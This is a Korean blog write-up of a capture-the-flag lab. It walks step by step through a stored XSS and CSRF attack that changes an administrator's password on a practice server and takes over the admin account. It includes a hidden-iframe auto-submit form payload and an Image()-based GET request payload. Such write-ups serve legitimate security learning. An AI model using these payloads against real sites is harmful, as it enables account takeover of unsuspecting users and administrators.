[Normaltic's CTF] GET Admin 1

2024. 7. 9. 20:45정보보안 및 해킹/CTF

1) 마이페이지의 비밀번호 변경기능 확인을 위해 로그인 후 메인페이지에 있는 마이페이지 클릭

2) 변경할 비밀번호에 임의의 비밀번호 입력

3) 력 후 변경 시 어떤 이벤트가 발생하는지 확인

4) alert()창이 뜨면서 안의 문구는 회원 정보 수정에 성공하셨습니다!’ 라고 뜨는 것 확인 완료

5) Burp Suite서 확인해보니 POST Method로 보내지고 있음을 확인

6) 파라미터id, info, pw 3가지 파라미터를 전달하고 있음을 확인

7) 리자의 비밀번호를 변경하는 로직을 집어넣은 글을 작성하기 위해 게시판 클릭

8) 글쓰기 클릭

9) XSS CSRF 공격에 필요한 특수문자 사용 가능 여부 확인을 위해 < ‘ “ >를 포함한 글 작성

10) 글 작성 후 Burp Suite에 확인하니 전부 필터링이나 HTML Entity 없이 작성되는 것을 확인

11) 이페이지에서 비밀번호를 업데이트 하는 페이지가 POST Method 였기 때문에 form tagPOST 문 작성

시행착오 코드

<iframe name="stealthFrame" style="display:none;"></iframe> //숨겨진 iframe. POST Method를 이곳으로 보내 공격자의 행위를 가리기 위함
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php" id="myForm" target="stealthFrame"> //마이페이지에 보내는 POST Method. target을 iframe으로 지정하여 이벤트 발생을 감춤
<input type="hidden" name="pw" value="1234"/> //마이페이지에서 변경하고자 하는 것
<input type="hidden" type="submit" value="ClickMe"/> //숨겨진 submit 버튼
</form>
<script> document.getElementById('myForm').submit(); </script> //자동 submit

12) POST Method가 담긴 글을 클릭 시에는 마이페이지에서 비밀번호를 변경했을 때와 같은 alert()창이 뜨는 것을 확인

해당 공격은 그대로 관리자에게 보낼 시에는 바로 노출될 것이 예상되어 GET Method 방식으로 바꾸어 공격을 재시도 하고자 함

13) 마이페이지의 POST MethodGET Method로 변경하기 위해 Burp Suite에서 Repeater로 보냄

14) Change request method를 클릭하여 POST MethodGET Method로 변경

15) GET Method에서도 POST Method처럼 비밀번호가 제대로 변경되는지 확인하기 위해 Send 클릭하여 결과 확인

Response에 동일한 alert()창이 뜨는 것 확인 완료

16) GET Method로 변경한 링크를 XSS와 결합하여 Image() 객체를 불러 load하는 방식으로 마이페이지의 비밀번호 변경을 시도

정답 코드

<script>
var i = new Image(); //새로운 Image()객체를 생성
i.src = 'http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=chlqhqodlekt_admin&info=&pw=1234'; //Image()의 src에 마이페이지에서 비밀번호를 변경하는 링크를 삽입
</script>

17) GET Method의 방식으로는 게시글을 클릭해도 alert()창이 뜨지 않는 것을 확인

18) Burp Suite서 확인해보니 비밀번호 제대로 변경된 것 확인 완료

19) 당 코드를 자신의 아이디_admin 이라는 관리자 계정의 비밀번호를 변경하기 위해 id파라미터 부분을 살짝 수정하여 글 등록

20) 당 글의 링크를 복사

21) 의 링크를 관리자가 방문하는 관리자 visit Bot에 붙여넣고 아이디부분에 자신의 아이디_admin 입력 후 Visit을 클릭하여 방문하게 함

22) 관리자 방문 확인

23) 로그인 되어있던 아이디에서 로그아웃

24) 자신의 아이디_adimin 그리고 변경한 비밀번호를 입력하여 로그인 시도

25) 공격자의 의도대로 관리자의 비밀번호를 관리자 모르게 변경하여 계정 탈취 성공 확인

'정보보안 및 해킹 > CTF' 카테고리의 다른 글

[Normaltic's CTF] GET Admin 3  (0) 2024.07.09
[Normaltic's CTF] GET Admin 2  (0) 2024.07.09
[Normaltic's CTF] Steal Info 2  (0) 2024.07.05
[Normaltic's CTF] Steal Info 1  (0) 2024.07.05
[Normaltic's CTF] Basic Script Prac  (0) 2024.07.05